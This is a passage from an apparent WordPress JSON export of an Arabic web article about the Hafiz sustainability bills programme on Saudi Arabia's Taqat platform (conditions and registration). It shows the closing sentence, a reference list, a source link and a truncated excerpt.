\u062d\u0627\u0641\u0632 \u062f\u0639\u0645 \u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629\u060c \u0628\u0627\u0644\u0625\u0636\u0627\u0641\u0629 \u0625\u0644\u0649 \u0625\u0631\u0641\u0627\u0642 \u0631\u0627\u0628\u0637 \u0627\u0644\u062a\u0633\u062c\u064a\u0644 \u0641\u064a \u0641\u064e\u0648\u0627\u062a\u064a\u0631 \u062d\u0627\u0641\u0632 \u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629 \u0637\u0627\u0642\u0627\u062a.<\/p>\n<div>\n<h2 class=\"references-title\"><span id=\"i-6\"><span class=\"mw-headline\"><b>\u0627\u0644\u0645\u0631\u0627\u062c\u0639<\/b><\/span><\/span><\/h2>\n<ol class=\"references\">\n<li id=\"ref1\"><span class=\"mw-cite-backlink\"><a rel=\"nofollow\" class=\"ref-backlink\" href=\"#\" data-href=\"#ref1\"><b>^<\/b><\/a> <\/span>saudiplatform.com , <a rel=\"nofollow\" href=\"https:\/\/saudiplatform.com\/services\/8437\/\">\u0627\u0644\u062a\u0633\u062c\u064a\u0644 \u0639\u0644\u0649 \u0641\u0648\u0627\u062a\u064a\u0631 \u062d\u0627\u0641\u0632 \u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629<\/a> , 28\/04\/2026<\/li>\n<\/ol>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<p><a href=\"https:\/\/saudi.wiki\/%D9%81%D9%88%D8%A7%D8%AA%D9%8A%D8%B1-%D8%AD%D8%A7%D9%81%D8%B2-%D8%A7%D9%84%D8%A7%D8%B3%D8%AA%D8%AF%D8%A7%D9%85%D8%A9-%D8%B7%D8%A7%D9%82%D8%A7%D8%AA\/\" rel=\"nofollow\">\u0645\u0635\u062f\u0631 \u0627\u0644\u062e\u0628\u0631<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u062c\u062f\u0648\u0644 \u0627\u0644\u0645\u062d\u062a\u0648\u064a\u0627\u062a 1 \u0641\u0648\u0627\u062a\u064a\u0631 \u062d\u0627\u0641\u0632 \u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629 \u0637\u0627\u0642\u0627\u062a 2 \u0634\u0631\u0648\u0637 \u0641\u0648\u0627\u062a\u064a\u0631 \u062d\u0627\u0641\u0632 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\u0627\u0644\u0627\u0633\u062a\u0642\u0631\u0627\u0631 \u0627\u0644\u0648\u0638\u064a\u0641\u064a. \u064a\u0634\u0645\u0644 \u0627\u0644\u0628\u0631\u0646\u0627\u0645\u062c \u062f\u0639\u0645\u064b\u0627 \u0645\u0631\u062a\u0628\u0637\u064b\u0627 \u0628\u0627\u0644\u0641\u0648\u0627\u062a\u064a\u0631 \u0648\u0627\u0644\u062e\u062f\u0645\u0627\u062a \u0627\u0644\u0623\u0633\u0627\u0633\u064a\u0629. \u064a\u062a\u0637\u0644\u0628 \u0627\u0644\u062a\u0633\u062c\u064a\u0644 \u0627\u0633\u062a\u064a\u0641\u0627\u0621 &#8230; <a title=\"\u0641\u0648\u0627\u062a\u064a\u0631 \u062d\u0627\u0641\u0632 \u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0645\u0629 \u0637\u0627\u0642\u0627\u062a 1447 \u0627\u0644\u0634\u0631\u0648\u0637 \u0648\u062e\u0637\u0648\u0627\u062a \u0627\u0644\u062a\u0633\u062c\u064a\u0644\" class=\"read-more\" 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